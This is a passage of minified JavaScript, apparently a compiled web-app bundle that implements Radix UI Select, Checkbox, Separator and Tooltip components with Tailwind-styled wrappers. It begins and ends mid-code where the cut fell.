ms=10,[S8,Si]=Yl(mo),EG="SelectContentImpl",jG=pu("SelectContent.RemoveScroll"),N8=C.forwardRef((e,t)=>{const{__scopeSelect:n,position:s="item-aligned",onCloseAutoFocus:i,onEscapeKeyDown:c,onPointerDownOutside:u,side:d,sideOffset:m,align:h,alignOffset:p,arrowPadding:x,collisionBoundary:g,collisionPadding:y,sticky:w,hideWhenDetached:S,avoidCollisions:N,...T}=e,E=Ci(mo,n),[A,j]=C.useState(null),[R,D]=C.useState(null),k=Mt(t,fe=>j(fe)),[B,I]=C.useState(null),[z,U]=C.useState(null),$=qh(n),[H,W]=C.useState(!1),se=C.useRef(!1);C.useEffect(()=>{if(A)return $j(A)},[A]),Oj();const M=C.useCallback(fe=>{const[ye,...Oe]=$().map(Xe=>Xe.ref.current),[ke]=Oe.slice(-1),$e=document.activeElement;for(const Xe of fe)if(Xe===$e||(Xe?.scrollIntoView({block:"nearest"}),Xe===ye&&R&&(R.scrollTop=0),Xe===ke&&R&&(R.scrollTop=R.scrollHeight),Xe?.focus(),document.activeElement!==$e))return},[$,R]),O=C.useCallback(()=>M([B,A]),[M,B,A]);C.useEffect(()=>{H&&O()},[H,O]);const{onOpenChange:V,triggerPointerDownPosRef:Z}=E;C.useEffect(()=>{if(A){let fe={x:0,y:0};const ye=ke=>{fe={x:Math.abs(Math.round(ke.pageX)-(Z.current?.x??0)),y:Math.abs(Math.round(ke.pageY)-(Z.current?.y??0))}},Oe=ke=>{fe.x<=10&&fe.y<=10?ke.preventDefault():A.contains(ke.target)||V(!1),document.removeEventListener("pointermove",ye),Z.current=null};return Z.current!==null&&(document.addEventListener("pointermove",ye),document.addEventListener("pointerup",Oe,{capture:!0,once:!0})),()=>{document.removeEventListener("pointermove",ye),document.removeEventListener("pointerup",Oe,{capture:!0})}}},[A,V,Z]),C.useEffect(()=>{const fe=()=>V(!1);return window.addEventListener("blur",fe),window.addEventListener("resize",fe),()=>{window.removeEventListener("blur",fe),window.removeEventListener("resize",fe)}},[V]);const[ce,F]=U8(fe=>{const ye=$().filter($e=>!$e.disabled),Oe=ye.find($e=>$e.ref.current===document.activeElement),ke=I8(ye,fe,Oe);ke&&setTimeout(()=>ke.ref.current.focus())}),P=C.useCallback((fe,ye,Oe)=>{const ke=!se.current&&!Oe;(E.value!==void 0&&E.value===ye||ke)&&(I(fe),ke&&(se.current=!0))},[E.value]),q=C.useCallback(()=>A?.focus(),[A]),Y=C.useCallback((fe,ye,Oe)=>{const ke=!se.current&&!Oe;(E.value!==void 0&&E.value===ye||ke)&&U(fe)},[E.value]),me=s==="popper"?iv:E8,we=me===iv?{side:d,sideOffset:m,align:h,alignOffset:p,arrowPadding:x,collisionBoundary:g,collisionPadding:y,sticky:w,hideWhenDetached:S,avoidCollisions:N}:{};return o.jsx(S8,{scope:n,content:A,viewport:R,onViewportChange:D,itemRefCallback:P,selectedItem:B,onItemLeave:q,itemTextRefCallback:Y,focusSelectedItem:O,selectedItemText:z,position:s,isPositioned:H,searchRef:ce,children:o.jsx(Gv,{as:jG,allowPinchZoom:!0,children:o.jsx(qv,{asChild:!0,trapped:E.open,onMountAutoFocus:fe=>{fe.preventDefault()},onUnmountAutoFocus:at(i,fe=>{E.trigger?.focus({preventScroll:!0}),fe.preventDefault()}),children:o.jsx(Ch,{asChild:!0,disableOutsidePointerEvents:!0,onEscapeKeyDown:c,onPointerDownOutside:u,onFocusOutside:fe=>fe.preventDefault(),onDismiss:()=>E.onOpenChange(!1),children:o.jsx(me,{role:"listbox",id:E.contentId,"data-state":E.open?"open":"closed",dir:E.dir,onContextMenu:fe=>fe.preventDefault(),...T,...we,onPlaced:()=>W(!0),ref:k,style:{display:"flex",flexDirection:"column",outline:"none",...T.style},onKeyDown:at(T.onKeyDown,fe=>{const ye=fe.ctrlKey||fe.altKey||fe.metaKey;if(fe.key==="Tab"&&fe.preventDefault(),!ye&&fe.key.length===1&&F(fe.key),["ArrowUp","ArrowDown","Home","End"].includes(fe.key)){let ke=$().filter($e=>!$e.disabled).map($e=>$e.ref.current);if(["ArrowUp","End"].includes(fe.key)&&(ke=ke.slice().reverse()),["ArrowUp","ArrowDown"].includes(fe.key)){const $e=fe.target,Xe=ke.indexOf($e);ke=ke.slice(Xe+1)}setTimeout(()=>M(ke)),fe.preventDefault()}})})})})})})});N8.displayName=EG;var AG="SelectItemAlignedPosition",E8=C.forwardRef((e,t)=>{const{__scopeSelect:n,onPlaced:s,...i}=e,c=Ci(mo,n),u=Si(mo,n),[d,m]=C.useState(null),[h,p]=C.useState(null),x=Mt(t,k=>p(k)),g=qh(n),y=C.useRef(!1),w=C.useRef(!0),{viewport:S,selectedItem:N,selectedItemText:T,focusSelectedItem:E}=u,A=C.useCallback(()=>{if(c.trigger&&c.valueNode&&d&&h&&S&&N&&T){const k=c.trigger.getBoundingClientRect(),B=h.getBoundingClientRect(),I=c.valueNode.getBoundingClientRect(),z=T.getBoundingClientRect();if(c.dir!=="rtl"){const $e=z.left-B.left,Xe=I.left-$e,pt=k.left-Xe,Qe=k.width+pt,nn=Math.max(Qe,B.width),an=window.innerWidth-ms,Zt=EN(Xe,[ms,Math.max(ms,an-nn)]);d.style.minWidth=Qe+"px",d.style.left=Zt+"px"}else{const $e=B.right-z.right,Xe=window.innerWidth-I.right-$e,pt=window.innerWidth-k.right-Xe,Qe=k.width+pt,nn=Math.max(Qe,B.width),an=window.innerWidth-ms,Zt=EN(Xe,[ms,Math.max(ms,an-nn)]);d.style.minWidth=Qe+"px",d.style.right=Zt+"px"}const U=g(),$=window.innerHeight-ms*2,H=S.scrollHeight,W=window.getComputedStyle(h),se=parseInt(W.borderTopWidth,10),M=parseInt(W.paddingTop,10),O=parseInt(W.borderBottomWidth,10),V=parseInt(W.paddingBottom,10),Z=se+M+H+V+O,ce=Math.min(N.offsetHeight*5,Z),F=window.getComputedStyle(S),P=parseInt(F.paddingTop,10),q=parseInt(F.paddingBottom,10),Y=k.top+k.height/2-ms,me=$-Y,we=N.offsetHeight/2,fe=N.offsetTop+we,ye=se+M+fe,Oe=Z-ye;if(ye<=Y){const $e=U.length>0&&N===U[U.length-1].ref.current;d.style.bottom="0px";const Xe=h.clientHeight-S.offsetTop-S.offsetHeight,pt=Math.max(me,we+($e?q:0)+Xe+O),Qe=ye+pt;d.style.height=Qe+"px"}else{const $e=U.length>0&&N===U[0].ref.current;d.style.top="0px";const pt=Math.max(Y,se+S.offsetTop+($e?P:0)+we)+Oe;d.style.height=pt+"px",S.scrollTop=ye-Y+S.offsetTop}d.style.margin=`${ms}px 0`,d.style.minHeight=ce+"px",d.style.maxHeight=$+"px",s?.(),requestAnimationFrame(()=>y.current=!0)}},[g,c.trigger,c.valueNode,d,h,S,N,T,c.dir,s]);ea(()=>A(),[A]);const[j,R]=C.useState();ea(()=>{h&&R(window.getComputedStyle(h).zIndex)},[h]);const D=C.useCallback(k=>{k&&w.current===!0&&(A(),E?.(),w.current=!1)},[A,E]);return o.jsx(DG,{scope:n,contentWrapper:d,shouldExpandOnScrollRef:y,onScrollButtonChange:D,children:o.jsx("div",{ref:m,style:{display:"flex",flexDirection:"column",position:"fixed",zIndex:j},children:o.jsx(dt.div,{...i,ref:x,style:{boxSizing:"border-box",maxHeight:"100%",...i.style}})})})});E8.displayName=AG;var TG="SelectPopperPosition",iv=C.forwardRef((e,t)=>{const{__scopeSelect:n,align:s="start",collisionPadding:i=ms,...c}=e,u=$h(n);return o.jsx(h8,{...u,...c,ref:t,align:s,collisionPadding:i,style:{boxSizing:"border-box",...c.style,"--radix-select-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-select-content-available-width":"var(--radix-popper-available-width)","--radix-select-content-available-height":"var(--radix-popper-available-height)","--radix-select-trigger-width":"var(--radix-popper-anchor-width)","--radix-select-trigger-height":"var(--radix-popper-anchor-height)"}})});iv.displayName=TG;var[DG,Qy]=Yl(mo,{}),ov="SelectViewport",j8=C.forwardRef((e,t)=>{const{__scopeSelect:n,nonce:s,...i}=e,c=Si(ov,n),u=Qy(ov,n),d=Mt(t,c.onViewportChange),m=C.useRef(0);return o.jsxs(o.Fragment,{children:[o.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-select-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-select-viewport]::-webkit-scrollbar{display:none}"},nonce:s}),o.jsx(Hh.Slot,{scope:n,children:o.jsx(dt.div,{"data-radix-select-viewport":"",role:"presentation",...i,ref:d,style:{position:"relative",flex:1,overflow:"hidden auto",...i.style},onScroll:at(i.onScroll,h=>{const p=h.currentTarget,{contentWrapper:x,shouldExpandOnScrollRef:g}=u;if(g?.current&&x){const y=Math.abs(m.current-p.scrollTop);if(y>0){const w=window.innerHeight-ms*2,S=parseFloat(x.style.minHeight),N=parseFloat(x.style.height),T=Math.max(S,N);if(T<w){const E=T+y,A=Math.min(w,E),j=E-A;x.style.height=A+"px",x.style.bottom==="0px"&&(p.scrollTop=j>0?j:0,x.style.justifyContent="flex-end")}}}m.current=p.scrollTop})})})]})});j8.displayName=ov;var A8="SelectGroup",[RG,_G]=Yl(A8),kG=C.forwardRef((e,t)=>{const{__scopeSelect:n,...s}=e,i=Nr();return o.jsx(RG,{scope:n,id:i,children:o.jsx(dt.div,{role:"group","aria-labelledby":i,...s,ref:t})})});kG.displayName=A8;var T8="SelectLabel",D8=C.forwardRef((e,t)=>{const{__scopeSelect:n,...s}=e,i=_G(T8,n);return o.jsx(dt.div,{id:i.id,...s,ref:t})});D8.displayName=T8;var ih="SelectItem",[BG,R8]=Yl(ih),_8=C.forwardRef((e,t)=>{const{__scopeSelect:n,value:s,disabled:i=!1,textValue:c,...u}=e,d=Ci(ih,n),m=Si(ih,n),h=d.value===s,[p,x]=C.useState(c??""),[g,y]=C.useState(!1),w=Mt(t,E=>m.itemRefCallback?.(E,s,i)),S=Nr(),N=C.useRef("touch"),T=()=>{i||(d.onValueChange(s),d.onOpenChange(!1))};if(s==="")throw new Error("A <Select.Item /> must have a value prop that is not an empty string. This is because the Select value can be set to an empty string to clear the selection and show the placeholder.");return o.jsx(BG,{scope:n,value:s,disabled:i,textId:S,isSelected:h,onItemTextChange:C.useCallback(E=>{x(A=>A||(E?.textContent??"").trim())},[]),children:o.jsx(Hh.ItemSlot,{scope:n,value:s,disabled:i,textValue:p,children:o.jsx(dt.div,{role:"option","aria-labelledby":S,"data-highlighted":g?"":void 0,"aria-selected":h&&g,"data-state":h?"checked":"unchecked","aria-disabled":i||void 0,"data-disabled":i?"":void 0,tabIndex:i?void 0:-1,...u,ref:w,onFocus:at(u.onFocus,()=>y(!0)),onBlur:at(u.onBlur,()=>y(!1)),onClick:at(u.onClick,()=>{N.current!=="mouse"&&T()}),onPointerUp:at(u.onPointerUp,()=>{N.current==="mouse"&&T()}),onPointerDown:at(u.onPointerDown,E=>{N.current=E.pointerType}),onPointerMove:at(u.onPointerMove,E=>{N.current=E.pointerType,i?m.onItemLeave?.():N.current==="mouse"&&E.currentTarget.focus({preventScroll:!0})}),onPointerLeave:at(u.onPointerLeave,E=>{E.currentTarget===document.activeElement&&m.onItemLeave?.()}),onKeyDown:at(u.onKeyDown,E=>{m.searchRef?.current!==""&&E.key===" "||(vG.includes(E.key)&&T(),E.key===" "&&E.preventDefault())})})})})});_8.displayName=ih;var Wc="SelectItemText",k8=C.forwardRef((e,t)=>{const{__scopeSelect:n,className:s,style:i,...c}=e,u=Ci(Wc,n),d=Si(Wc,n),m=R8(Wc,n),h=CG(Wc,n),[p,x]=C.useState(null),g=Mt(t,T=>x(T),m.onItemTextChange,T=>d.itemTextRefCallback?.(T,m.value,m.disabled)),y=p?.textContent,w=C.useMemo(()=>o.jsx("option",{value:m.value,disabled:m.disabled,children:y},m.value),[m.disabled,m.value,y]),{onNativeOptionAdd:S,onNativeOptionRemove:N}=h;return ea(()=>(S(w),()=>N(w)),[S,N,w]),o.jsxs(o.Fragment,{children:[o.jsx(dt.span,{id:m.textId,...c,ref:g}),m.isSelected&&u.valueNode&&!u.valueNodeHasChildren?Ll.createPortal(c.children,u.valueNode):null]})});k8.displayName=Wc;var B8="SelectItemIndicator",M8=C.forwardRef((e,t)=>{const{__scopeSelect:n,...s}=e;return R8(B8,n).isSelected?o.jsx(dt.span,{"aria-hidden":!0,...s,ref:t}):null});M8.displayName=B8;var lv="SelectScrollUpButton",F8=C.forwardRef((e,t)=>{const n=Si(lv,e.__scopeSelect),s=Qy(lv,e.__scopeSelect),[i,c]=C.useState(!1),u=Mt(t,s.onScrollButtonChange);return ea(()=>{if(n.viewport&&n.isPositioned){let d=function(){const h=m.scrollTop>0;c(h)};const m=n.viewport;return d(),m.addEventListener("scroll",d),()=>m.removeEventListener("scroll",d)}},[n.viewport,n.isPositioned]),i?o.jsx(L8,{...e,ref:u,onAutoScroll:()=>{const{viewport:d,selectedItem:m}=n;d&&m&&(d.scrollTop=d.scrollTop-m.offsetHeight)}}):null});F8.displayName=lv;var cv="SelectScrollDownButton",O8=C.forwardRef((e,t)=>{const n=Si(cv,e.__scopeSelect),s=Qy(cv,e.__scopeSelect),[i,c]=C.useState(!1),u=Mt(t,s.onScrollButtonChange);return ea(()=>{if(n.viewport&&n.isPositioned){let d=function(){const h=m.scrollHeight-m.clientHeight,p=Math.ceil(m.scrollTop)<h;c(p)};const m=n.viewport;return d(),m.addEventListener("scroll",d),()=>m.removeEventListener("scroll",d)}},[n.viewport,n.isPositioned]),i?o.jsx(L8,{...e,ref:u,onAutoScroll:()=>{const{viewport:d,selectedItem:m}=n;d&&m&&(d.scrollTop=d.scrollTop+m.offsetHeight)}}):null});O8.displayName=cv;var L8=C.forwardRef((e,t)=>{const{__scopeSelect:n,onAutoScroll:s,...i}=e,c=Si("SelectScrollButton",n),u=C.useRef(null),d=qh(n),m=C.useCallback(()=>{u.current!==null&&(window.clearInterval(u.current),u.current=null)},[]);return C.useEffect(()=>()=>m(),[m]),ea(()=>{d().find(p=>p.ref.current===document.activeElement)?.ref.current?.scrollIntoView({block:"nearest"})},[d]),o.jsx(dt.div,{"aria-hidden":!0,...i,ref:t,style:{flexShrink:0,...i.style},onPointerDown:at(i.onPointerDown,()=>{u.current===null&&(u.current=window.setInterval(s,50))}),onPointerMove:at(i.onPointerMove,()=>{c.onItemLeave?.(),u.current===null&&(u.current=window.setInterval(s,50))}),onPointerLeave:at(i.onPointerLeave,()=>{m()})})}),MG="SelectSeparator",P8=C.forwardRef((e,t)=>{const{__scopeSelect:n,...s}=e;return o.jsx(dt.div,{"aria-hidden":!0,...s,ref:t})});P8.displayName=MG;var uv="SelectArrow",FG=C.forwardRef((e,t)=>{const{__scopeSelect:n,...s}=e,i=$h(n),c=Ci(uv,n),u=Si(uv,n);return c.open&&u.position==="popper"?o.jsx(m8,{...i,...s,ref:t}):null});FG.displayName=uv;var OG="SelectBubbleInput",z8=C.forwardRef(({__scopeSelect:e,value:t,...n},s)=>{const i=C.useRef(null),c=Mt(s,i),u=Uy(t);return C.useEffect(()=>{const d=i.current;if(!d)return;const m=window.HTMLSelectElement.prototype,p=Object.getOwnPropertyDescriptor(m,"value").set;if(u!==t&&p){const x=new Event("change",{bubbles:!0});p.call(d,t),d.dispatchEvent(x)}},[u,t]),o.jsx(dt.select,{...n,style:{...fA,...n.style},ref:c,defaultValue:t})});z8.displayName=OG;function V8(e){return e===""||e===void 0}function U8(e){const t=fi(e),n=C.useRef(""),s=C.useRef(0),i=C.useCallback(u=>{const d=n.current+u;t(d),(function m(h){n.current=h,window.clearTimeout(s.current),h!==""&&(s.current=window.setTimeout(()=>m(""),1e3))})(d)},[t]),c=C.useCallback(()=>{n.current="",window.clearTimeout(s.current)},[]);return C.useEffect(()=>()=>window.clearTimeout(s.current),[]),[n,i,c]}function I8(e,t,n){const i=t.length>1&&Array.from(t).every(h=>h===t[0])?t[0]:t,c=n?e.indexOf(n):-1;let u=LG(e,Math.max(c,0));i.length===1&&(u=u.filter(h=>h!==n));const m=u.find(h=>h.textValue.toLowerCase().startsWith(i.toLowerCase()));return m!==n?m:void 0}function LG(e,t){return e.map((n,s)=>e[(t+s)%e.length])}var PG=p8,H8=g8,zG=y8,VG=b8,UG=w8,q8=C8,IG=j8,$8=D8,G8=_8,HG=k8,qG=M8,Y8=F8,K8=O8,X8=P8;const dv=PG,fv=zG,oh=C.forwardRef(({className:e,children:t,...n},s)=>o.jsxs(H8,{ref:s,className:je("flex h-10 w-full items-center justify-between rounded-md border border-input bg-background px-3 py-2 text-sm ring-offset-background data-[placeholder]:text-muted-foreground focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 [&>span]:line-clamp-1",e),...n,children:[t,o.jsx(VG,{asChild:!0,children:o.jsx(wh,{className:"h-4 w-4 opacity-50"})})]}));oh.displayName=H8.displayName;const W8=C.forwardRef(({className:e,...t},n)=>o.jsx(Y8,{ref:n,className:je("flex cursor-default items-center justify-center py-1",e),...t,children:o.jsx(e9,{className:"h-4 w-4"})}));W8.displayName=Y8.displayName;const Q8=C.forwardRef(({className:e,...t},n)=>o.jsx(K8,{ref:n,className:je("flex cursor-default items-center justify-center py-1",e),...t,children:o.jsx(wh,{className:"h-4 w-4"})}));Q8.displayName=K8.displayName;const hv=C.forwardRef(({className:e,children:t,position:n="popper",...s},i)=>o.jsx(UG,{children:o.jsxs(q8,{ref:i,className:je("relative z-50 max-h-[--radix-select-content-available-height] min-w-[8rem] overflow-y-auto overflow-x-hidden rounded-md border bg-popover text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 origin-[--radix-select-content-transform-origin]",n==="popper"&&"data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1",e),position:n,...s,children:[o.jsx(W8,{}),o.jsx(IG,{className:je("p-1",n==="popper"&&"h-[var(--radix-select-trigger-height)] w-full min-w-[var(--radix-select-trigger-width)]"),children:t}),o.jsx(Q8,{})]})}));hv.displayName=q8.displayName;const $G=C.forwardRef(({className:e,...t},n)=>o.jsx($8,{ref:n,className:je("py-1.5 pl-8 pr-2 text-sm font-semibold",e),...t}));$G.displayName=$8.displayName;const Qc=C.forwardRef(({className:e,children:t,...n},s)=>o.jsxs(G8,{ref:s,className:je("relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),...n,children:[o.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:o.jsx(qG,{children:o.jsx(wl,{className:"h-4 w-4"})})}),o.jsx(HG,{children:t})]}));Qc.displayName=G8.displayName;const GG=C.forwardRef(({className:e,...t},n)=>o.jsx(X8,{ref:n,className:je("-mx-1 my-1 h-px bg-muted",e),...t}));GG.displayName=X8.displayName;var Gh="Checkbox",[YG]=Dr(Gh),[KG,Zy]=YG(Gh);function XG(e){const{__scopeCheckbox:t,checked:n,children:s,defaultChecked:i,disabled:c,form:u,name:d,onCheckedChange:m,required:h,value:p="on",internal_do_not_use_render:x}=e,[g,y]=di({prop:n,defaultProp:i??!1,onChange:m,caller:Gh}),[w,S]=C.useState(null),[N,T]=C.useState(null),E=C.useRef(!1),A=w?!!u||!!w.closest("form"):!0,j={checked:g,disabled:c,setChecked:y,control:w,setControl:S,name:d,form:u,value:p,hasConsumerStoppedPropagationRef:E,required:h,defaultChecked:ci(i)?!1:i,isFormControl:A,bubbleInput:N,setBubbleInput:T};return o.jsx(KG,{scope:t,...j,children:WG(x)?x(j):s})}var Z8="CheckboxTrigger",J8=C.forwardRef(({__scopeCheckbox:e,onKeyDown:t,onClick:n,...s},i)=>{const{control:c,value:u,disabled:d,checked:m,required:h,setControl:p,setChecked:x,hasConsumerStoppedPropagationRef:g,isFormControl:y,bubbleInput:w}=Zy(Z8,e),S=Mt(i,p),N=C.useRef(m);return C.useEffect(()=>{const T=c?.form;if(T){const E=()=>x(N.current);return T.addEventListener("reset",E),()=>T.removeEventListener("reset",E)}},[c,x]),o.jsx(dt.button,{type:"button",role:"checkbox","aria-checked":ci(m)?"mixed":m,"aria-required":h,"data-state":sT(m),"data-disabled":d?"":void 0,disabled:d,value:u,...s,ref:S,onKeyDown:at(t,T=>{T.key==="Enter"&&T.preventDefault()}),onClick:at(n,T=>{x(E=>ci(E)?!0:!E),w&&y&&(g.current=T.isPropagationStopped(),g.current||T.stopPropagation())})})});J8.displayName=Z8;var Jy=C.forwardRef((e,t)=>{const{__scopeCheckbox:n,name:s,checked:i,defaultChecked:c,required:u,disabled:d,value:m,onCheckedChange:h,form:p,...x}=e;return o.jsx(XG,{__scopeCheckbox:n,checked:i,defaultChecked:c,disabled:d,required:u,onCheckedChange:h,name:s,form:p,value:m,internal_do_not_use_render:({isFormControl:g})=>o.jsxs(o.Fragment,{children:[o.jsx(J8,{...x,ref:t,__scopeCheckbox:n}),g&&o.jsx(aT,{__scopeCheckbox:n})]})})});Jy.displayName=Gh;var eT="CheckboxIndicator",tT=C.forwardRef((e,t)=>{const{__scopeCheckbox:n,forceMount:s,...i}=e,c=Zy(eT,n);return o.jsx(vo,{present:s||ci(c.checked)||c.checked===!0,children:o.jsx(dt.span,{"data-state":sT(c.checked),"data-disabled":c.disabled?"":void 0,...i,ref:t,style:{pointerEvents:"none",...e.style}})})});tT.displayName=eT;var nT="CheckboxBubbleInput",aT=C.forwardRef(({__scopeCheckbox:e,...t},n)=>{const{control:s,hasConsumerStoppedPropagationRef:i,checked:c,defaultChecked:u,required:d,disabled:m,name:h,value:p,form:x,bubbleInput:g,setBubbleInput:y}=Zy(nT,e),w=Mt(n,y),S=Uy(c),N=Iy(s);C.useEffect(()=>{const E=g;if(!E)return;const A=window.HTMLInputElement.prototype,R=Object.getOwnPropertyDescriptor(A,"checked").set,D=!i.current;if(S!==c&&R){const k=new Event("click",{bubbles:D});E.indeterminate=ci(c),R.call(E,ci(c)?!1:c),E.dispatchEvent(k)}},[g,S,c,i]);const T=C.useRef(ci(c)?!1:c);return o.jsx(dt.input,{type:"checkbox","aria-hidden":!0,defaultChecked:u??T.current,required:d,disabled:m,name:h,value:p,form:x,...t,tabIndex:-1,ref:w,style:{...t.style,...N,position:"absolute",pointerEvents:"none",opacity:0,margin:0,transform:"translateX(-100%)"}})});aT.displayName=nT;function WG(e){return typeof e=="function"}function ci(e){return e==="indeterminate"}function sT(e){return ci(e)?"indeterminate":e?"checked":"unchecked"}const Yh=C.forwardRef(({className:e,...t},n)=>o.jsx(Jy,{ref:n,className:je("peer h-4 w-4 shrink-0 rounded-sm border border-primary ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground",e),...t,children:o.jsx(tT,{className:je("flex items-center justify-center text-current"),children:o.jsx(wl,{className:"h-4 w-4"})})}));Yh.displayName=Jy.displayName;var QG="Separator",LN="horizontal",ZG=["horizontal","vertical"],rT=C.forwardRef((e,t)=>{const{decorative:n,orientation:s=LN,...i}=e,c=JG(s)?s:LN,d=n?{role:"none"}:{"aria-orientation":c==="vertical"?c:void 0,role:"separator"};return o.jsx(dt.div,{"data-orientation":c,...d,...i,ref:t})});rT.displayName=QG;function JG(e){return ZG.includes(e)}var iT=rT;const eY=C.forwardRef(({className:e,orientation:t="horizontal",decorative:n=!0,...s},i)=>o.jsx(iT,{ref:i,decorative:n,orientation:t,className:je("shrink-0 bg-border",t==="horizontal"?"h-[1px] w-full":"h-full w-[1px]",e),...s}));eY.displayName=iT.displayName;var[Kh]=Dr("Tooltip",[Ih]),Xh=Ih(),oT="TooltipProvider",tY=700,mv="tooltip.open",[nY,e1]=Kh(oT),lT=e=>{const{__scopeTooltip:t,delayDuration:n=tY,skipDelayDuration:s=300,disableHoverableContent:i=!1,children:c}=e,u=C.useRef(!0),d=C.useRef(!1),m=C.useRef(0);return C.useEffect(()=>{const h=m.current;return()=>window.clearTimeout(h)},[]),o.jsx(nY,{scope:t,isOpenDelayedRef:u,delayDuration:n,onOpen:C.useCallback(()=>{window.clearTimeout(m.current),u.current=!1},[]),onClose:C.useCallback(()=>{window.clearTimeout(m.current),m.current=window.setTimeout(()=>u.current=!0,s)},[s]),isPointerInTransitRef:d,onPointerInTransitChange:C.useCallback(h=>{d.current=h},[]),disableHoverableContent:i,children:c})};lT.displayName=oT;var Eu="Tooltip",[aY,Wh]=Kh(Eu),cT=e=>{const{__scopeTooltip:t,children:n,open:s,defaultOpen:i,onOpenChange:c,disableHoverableContent:u,delayDuration:d}=e,m=e1(Eu,e.__scopeTooltip),h=Xh(t),[p,x]=C.useState(null),g=Nr(),y=C.useRef(0),w=u??m.disableHoverableContent,S=d??m.delayDuration,N=C.useRef(!1),[T,E]=di({prop:s,defaultProp:i??!1,onChange:k=>{k?(m.onOpen(),document.dispatchEvent(new CustomEvent(mv))):m.onClose(),c?.(k)},caller:Eu}),A=C.useMemo(()=>T?N.current?"delayed-open":"instant-open":"closed",[T]),j=C.useCallback(()=>{window.clearTimeout(y.current),y.current=0,N.current=!1,E(!0)},[E]),R=C.useCallback(()=>{window.clearTimeout(y.current),y.current=0,E(!1)},[E]),D=C.useCallback(()=>{window.clearTimeout(y.current),y.current=window.setTimeout(()=>{N.current=!0,E(!0),y.current=0},S)},[S,E]);return C.useEffect(()=>()=>{y.current&&(window.clearTimeout(y.current),y.current=0)},[]),o.jsx(d8,{...h,children:o.jsx(aY,{scope:t,contentId:g,open:T,stateAttribute:A,trigger:p,onTriggerChange:x,onTriggerEnter:C.useCallback(()=>{m.isOpenDelayedRef.current?D():j()},[m.isOpenDelayedRef,D,j]),onTriggerLeave:C.useCallback(()=>{w?R():(window.clearTimeout(y.current),y.current=0)},[R,w]),onOpen:j,onClose:R,disableHoverableContent:w,children:n})})};cT.displayName=Eu;var pv="TooltipTrigger",uT=C.forwardRef((e,t)=>{const{__scopeTooltip:n,...s}=e,i=Wh(pv,n),c=e1(pv,n),u=Xh(n),d=C.useRef(null),m=Mt(t,d,i.onTriggerChange),h=C.useRef(!1),p=C.useRef(!1),x=C.useCallback(()=>h.current=!1,[]);return C.useEffect(()=>()=>document.removeEventListener("pointerup",x),[x]),o.jsx(f8,{asChild:!0,...u,children:o.jsx(dt.button,{"aria-describedby":i.open?i.contentId:void 0,"data-state":i.stateAttribute,...s,ref:m,onPointerMove:at(e.onPointerMove,g=>{g.pointerType!=="touch"&&!p.current&&!c.isPointerInTransitRef.current&&(i.onTriggerEnter(),p.current=!0)}),onPointerLeave:at(e.onPointerLeave,()=>{i.onTriggerLeave(),p.current=!1}),onPointerDown:at(e.onPointerDown,()=>{i.open&&i.onClose(),h.current=!0,document.addEventListener("pointerup",x,{once:!0})}),onFocus:at(e.onFocus,()=>{h.current||i.onOpen()}),onBlur:at(e.onBlur,i.onClose),onClick:at(e.onClick,i.onClose)})})});uT.displayName=pv;var sY="TooltipPortal",[yX,rY]=Kh(sY,{forceMount:void 0}),Fl="TooltipContent",dT=C.forwardRef((e,t)=>{const n=rY(Fl,e.__scopeTooltip),{forceMount:s=n.forceMount,side:i="top",...c}=e,u=Wh(Fl,e.__scopeTooltip);return o.jsx(vo,{present:s||u.open,children:u.disableHoverableContent?o.jsx(fT,{side:i,...c,ref:t}):o.jsx(iY,{side:i,...c,ref:t})})}),iY=C.forwardRef((e,t)=>{const n=Wh(Fl,e.__scopeTooltip),s=e1(Fl,e.__scopeTooltip),i=C.useRef(null),c=Mt(t,i),[u,d]=C.useState(null),{trigger:m,onClose:h}=n,p=i.current,{onPointerInTransitChange:x}=s,g=C.useCallback(()=>{d(null),x(!1)},[x]),y=C.useCallback((w,S)=>{const N=w.currentTarget,T={x:w.clientX,y:w.clientY},E=dY(T,N.getBoundingClientRect()),A=fY(T,E),j=hY(S.getBoundingClientRect()),R=pY([...A,...j]);d(R),x(!0)},[x]);return C.useEffect(()=>()=>g(),[g]),C.useEffect(()=>{if(m&&p){const w=N=>y(N,p),S=N=>y(N,m);return m.addEventListener("pointerleave",w),p.addEventListener("pointerleave",S),()=>{m.removeEventListener("pointerleave",w),p.removeEventListener("pointerleave",S)}}},[m,p,y,g]),C.useEffect(()=>{if(u){const w=S=>{const N=S.target,T={x:S.clientX,y:S.clientY},E=m?.contains(N)||p?.contains(N),A=!mY(T,u);E?g():A&&(g(),h())};return document.addEventListener("pointermove",w),()=>document.removeEventListener("pointermove",w)}},[m,p,u,h,g]),o.jsx(fT,{...e,ref:c})}),[oY,lY]=Kh(Eu,{isInside:!1}),cY=cO("TooltipContent"),fT=C.forwardRef((e,t)=>{const{__scopeTooltip:n,children:s,"aria-label":i,onEscapeKeyDown:c,onPointerDownOutside:u,...d}=e,m=Wh(Fl,n),h=Xh(n),{onClose:p}=m;return C.useEffect(()=>(document.addEventListener(mv,p),()=>document.removeEventListener(mv,p)),[p]),C.useEffect(()=>{if(m.trigger){const x=g=>{g.target?.contains(m.trigger)&&p()};return 